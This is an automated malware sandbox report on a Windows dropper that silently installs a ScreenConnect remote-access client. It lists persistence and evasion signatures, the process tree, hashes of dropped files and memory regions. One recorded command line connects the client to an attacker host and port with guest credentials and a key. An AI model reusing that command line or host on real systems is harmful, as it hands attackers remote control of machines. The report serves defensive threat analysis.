Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    15/04/2026, 22:28

General

  • Target
    2026-04-15_eebdb0ce0229a0b6faf92405b7e174c5_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
  • Size 5.4MB
  • Sample260415-2d281sbs3m
  • SHA256 dccbc59bffab954237717dae46b77b7fa56736888e7258b009f1096e67e5e40e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-15_eebdb0ce0229a0b6faf92405b7e174c5_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-15_eebdb0ce0229a0b6faf92405b7e174c5_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2620
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\eb635da41aabe3b1\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3716
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4252
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6CA76461EFC035E957064B71371A422F C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4756
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI46B8.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240666390 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2792
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3124
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding BF9F76DA55C29E757963F86118D76708
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:772
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding E2C9C0B01CD3439844FE64E854ACEA50 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4408
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3388
    • C:\Program Files (x86)\ScreenConnect Client (eb635da41aabe3b1)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (eb635da41aabe3b1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=mbasystemsupdates.com&p=8041&s=323f034f-7357-40e4-b096-7bc23c579bab&k=BgIAAACkAABSU0ExAAgAAAEAAQAFqnaGjxP2xaZiZ5o7S%2b7TcqUQD%2f02PV40mdckVn34hsIkXVv2Whj2Sz%2bYN1Hma905tpWm3H4cxQH51vST02167Wnt%2bD1z%2fc2Y29%2ffhjrX7QRRrCVAByfzJm52n0qiVCY5hjg3F9VWxuKHnQYPTuo9SB5Cqo%2blHlYIPCBdsHljmrO%2bydbnD2dEQjlrDzprJQWi1W7UXCGR4YiG9EqHlRbrvln2KRMz32B%2bOrdN8kf6iMjY9o50XMbCKJfleNQCku2uI%2fBt0qdBZK%2fDWy47V4IJBDFutLzVqyOA3e9TofmvQXeIWk9FdWUMH6KYoV07IZrRbvqMDXbc4bUhk0d6OpbE"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1728
      • C:\Program Files (x86)\ScreenConnect Client (eb635da41aabe3b1)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (eb635da41aabe3b1)\ScreenConnect.WindowsClient.exe" "RunRole" "307f1a81-adf6-435c-a993-f57ed0a372dd" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:1792
      • C:\Program Files (x86)\ScreenConnect Client (eb635da41aabe3b1)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (eb635da41aabe3b1)\ScreenConnect.WindowsClient.exe" "RunRole" "4fcda447-25ac-4fdb-9226-10cd45f0a909" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4736

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5883f1.rbs

          • Path C:\Config.Msi\e5883f1.rbs
          • Size 214KB
          • SHA256 2e647f35dce8a28b0850b73c42395716661e42efb134ff6c68601cea9b352df2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (eb635da41aabe3b1)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (eb635da41aabe3b1)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (eb635da41aabe3b1)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (eb635da41aabe3b1)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (eb635da41aabe3b1)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (eb635da41aabe3b1)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (eb635da41aabe3b1)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (eb635da41aabe3b1)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (eb635da41aabe3b1)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (eb635da41aabe3b1)\app.config
          • Size 1KB
          • SHA256 fd76d0946977847a3b485598353ea267be04d792fe051d2809c9716cb461677d
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (eb635da41aabe3b1)\system.config
          • Size 949B
          • SHA256 607d333b3271094483a3ee27e1c61ec326bf366dc2f75215cdc54b0df19fad9d
          • MD5 SHA1 SHA512 TLSH

          MSI46B8.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI46B8.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI46B8.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI46B8.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI46B8.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI46B8.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\eb635da41aabe3b1\ScreenConnect.ClientSetup.msi
          • Size 9.5MB
          • SHA256 63adab756cc3505847bdc2cee9851bbe21a0109f8926cfca0df99946abd1d083
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI8633.tmp

          • Path C:\Windows\Installer\MSI8633.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 f06f68c9afc71204b1e35045b49412510c8a78d33c2d23422cf2dea27e8ae3f9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {192a6e0a-6467-4aff-85ec-09bd5cc1d0d2}_OnDiskSnapshotProp

          • Path \??\Volume{3172925f-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{192a6e0a-6467-4aff-85ec-09bd5cc1d0d2}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 4be779eeb522dde10e4d97f03d653b62582b306dd3f18cc7eafc523e9d39e43c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1728-115-0x0000000003B60000-0x0000000003BA1000-memory.dmp

          memory/1728-117-0x0000000003FE0000-0x00000000040B5000-memory.dmp

          memory/1728-86-0x0000000003870000-0x0000000003888000-memory.dmp

          memory/1728-139-0x0000000004BF0000-0x0000000004C54000-memory.dmp

          memory/1728-112-0x0000000003B20000-0x0000000003B56000-memory.dmp

          memory/1728-103-0x0000000003AD0000-0x0000000003B20000-memory.dmp

          memory/1728-113-0x0000000003DF0000-0x0000000003E82000-memory.dmp

          memory/1792-132-0x000000001AF00000-0x000000001AF18000-memory.dmp

          memory/1792-130-0x000000001B880000-0x000000001BA08000-memory.dmp

          memory/1792-129-0x000000001B540000-0x000000001B6EC000-memory.dmp

          memory/1792-131-0x00000000024E0000-0x00000000024F8000-memory.dmp

          memory/1792-128-0x000000001B300000-0x000000001B38C000-memory.dmp

          memory/1792-133-0x000000001B270000-0x000000001B2B1000-memory.dmp

          memory/1792-126-0x0000000000360000-0x00000000003F8000-memory.dmp

          memory/1792-127-0x000000001AF30000-0x000000001AF66000-memory.dmp

          memory/2620-6-0x0000000005B20000-0x0000000005CCC000-memory.dmp

          memory/2620-0-0x0000000005A60000-0x0000000005A70000-memory.dmp

          memory/2620-1-0x0000000003420000-0x0000000003428000-memory.dmp

          memory/2620-3-0x0000000005D70000-0x0000000006062000-memory.dmp

          memory/2620-4-0x0000000005A70000-0x0000000005AFC000-memory.dmp

          memory/2620-5-0x0000000005B00000-0x0000000005B22000-memory.dmp

          memory/2620-11-0x0000000006580000-0x0000000006602000-memory.dmp

          memory/2620-2-0x0000000005A60000-0x0000000005A70000-memory.dmp

          memory/2620-7-0x0000000006610000-0x0000000006BB6000-memory.dmp

          memory/2620-8-0x0000000005A60000-0x0000000005A70000-memory.dmp

          memory/2792-43-0x0000000005860000-0x0000000005A0C000-memory.dmp

          memory/2792-35-0x0000000005540000-0x000000000554A000-memory.dmp

          memory/2792-31-0x0000000005500000-0x000000000552E000-memory.dmp

          memory/2792-39-0x00000000055E0000-0x000000000566C000-memory.dmp

          memory/4736-135-0x000000001B7A0000-0x000000001B7E1000-memory.dmp